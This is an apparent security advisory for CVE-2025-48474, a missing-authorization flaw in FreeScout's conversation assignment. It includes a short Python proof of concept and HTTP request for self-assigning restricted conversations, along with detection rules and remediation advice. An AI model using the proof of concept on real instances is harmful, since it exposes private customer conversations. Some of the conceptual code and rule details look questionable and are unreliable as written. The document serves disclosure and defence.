CVE-2025-48474

Executive Summary

CVE-2025-48474 is a privilege escalation vulnerability in FreeScout, a self-hosted help desk and shared mailbox application. The flaw resides in the access control logic for conversation assignment. Users with the show_only_assigned_conversations setting enabled can bypass intended restrictions by assigning themselves to any conversation within a mailbox they have access to. This allows an authenticated user to view and interact with conversations they should not be able to see, violating the principle of least privilege. The vulnerability is patched in version 1.8.180.

Supply Chain & Package Security

FreeScout is a PHP application typically deployed via Docker or direct installation. The vulnerability is in the application's core logic, not in a third-party package. However, administrators should verify the integrity of their FreeScout installation by checking file hashes against the official repository to ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (unauthorized access to conversation data)
• Integrity Impact: Low (ability to assign self to conversations)
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but allows a user to escalate their access within the application, potentially exposing sensitive customer data.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862) . In FreeScout, users can have a setting show_only_assigned_conversations which, when enabled, restricts their view to only conversations they are assigned to. The intended behavior is that a user cannot see or interact with conversations they are not assigned to.

The flaw occurs in the conversation assignment logic. When a user with this setting enabled attempts to assign themselves to a conversation, the application checks if the user has access to the mailbox but fails to check if the user has access to the specific conversation. Since the user has mailbox access, the assignment succeeds. Once assigned, the user can now view the conversation because it is now "assigned" to them, bypassing the show_only_assigned_conversations restriction.

Attack Flow:

1. Attacker authenticates as a user with show_only_assigned_conversations enabled.
2. Attacker identifies a conversation ID within a mailbox they have access to.
3. Attacker sends a request to assign themselves to that conversation (e.g., POST /conversations/{id}/assign).
4. The application checks mailbox access (passes) but not conversation-level access.
5. The assignment succeeds.
6. Attacker can now view the conversation, as it is now assigned to them.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a controller or service handling assignment
public function assign(Request $request, $conversationId)
{
    $conversation = Conversation::find($conversationId);
    $mailbox = $conversation->mailbox;

    // Only checks if user has access to the mailbox
    if (!$request->user()->hasAccessToMailbox($mailbox)) {
        abort(403);
    }

    // Assigns user to conversation
    $conversation->assignee_id = $request->user()->id;
    $conversation->save();

    return response()->json(['success' => true]);
}

Patched Code (Conceptual):

public function assign(Request $request, $conversationId)
{
    $conversation = Conversation::find($conversationId);
    $mailbox = $conversation->mailbox;

    // Check mailbox access
    if (!$request->user()->hasAccessToMailbox($mailbox)) {
        abort(403);
    }

    // Additional check: if user has show_only_assigned_conversations enabled,
    // they cannot assign themselves to a conversation they are not already assigned to
    if ($request->user()->show_only_assigned_conversations && $conversation->assignee_id !== $request->user()->id) {
        abort(403);
    }

    // Assign user to conversation
    $conversation->assignee_id = $request->user()->id;
    $conversation->save();

    return response()->json(['success' => true]);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a FreeScout instance (version < 1.8.180)
• Valid user credentials with show_only_assigned_conversations enabled

Exploitation Steps:

1. Log in to FreeScout.
2. Identify a conversation ID you should not have access to (e.g., by observing network traffic or guessing IDs).
3. Send a POST request to assign yourself:

   POST /conversations/123/assign HTTP/1.1
   Host: freescout.example.com
   Cookie: <session_cookie>
   Content-Type: application/x-www-form-urlencoded
   

4. Verify access by navigating to the conversation URL.

Proof of Concept (Python):

import requests

session = requests.Session()
# Login first
session.post('https://freescout.example.com/login', data={
    'email': 'attacker@example.com',
    'password': 'password123'
})

# Assign to conversation 123
response = session.post('https://freescout.example.com/conversations/123/assign')
if response.status_code == 200:
    print('Assignment successful!')
    # Now view the conversation
    response = session.get('https://freescout.example.com/conversations/123')
    print(response.text)
else:
    print('Assignment failed')

Blue Team

Detection:

• Monitor for unusual assignment patterns, especially users assigning themselves to many conversations in a short period.
• Alert on assignments where the user has show_only_assigned_conversations enabled and the conversation was previously unassigned or assigned to another user.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search "/conversations/*/assign" method=POST
| rex field=uri "/conversations/(?<conversation_id>\d+)/assign"
| lookup user_settings.csv user as user OUTPUT show_only_assigned
| where show_only_assigned="true"
| stats count by user, conversation_id
| where count > 5

Indicators of Compromise (IOCs)

• Log Entries: POST requests to /conversations/{id}/assign from users with show_only_assigned_conversations enabled.
• Database Changes: conversations table showing assignee_id changed to a user who previously had no access.
• Network Traffic: Unusual assignment API calls from a single user to multiple conversations.

Detection Engineering

YARA Rule

rule Detect_FreeScout_Assignment_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-48474 in FreeScout logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48474"
    strings:
        $s1 = "/conversations/" ascii
        $s2 = "/assign" ascii
        $s3 = "POST" ascii
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: FreeScout Unauthorized Conversation Assignment
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects users with show_only_assigned_conversations enabled assigning themselves to conversations
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/conversations/'
        cs-uri-stem|endswith: '/assign'
    condition: selection
falsepositives:
    - Legitimate assignment by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48474 FreeScout Unauthorized Conversation Assignment";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/conversations/"; distance:0;
    http.uri; content:"/assign"; distance:0;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade FreeScout to version 1.8.180 or later.
2. If immediate upgrade is not possible, disable the show_only_assigned_conversations feature for all users via configuration.

Long-term:

1. Implement proper access control checks at the conversation level, not just the mailbox level.
2. Conduct a security audit of all authorization logic in the application.
3. Implement logging and monitoring for all assignment actions.

Workaround:

• Modify the application code to add the missing authorization check as shown in the patched code section.

Valters IT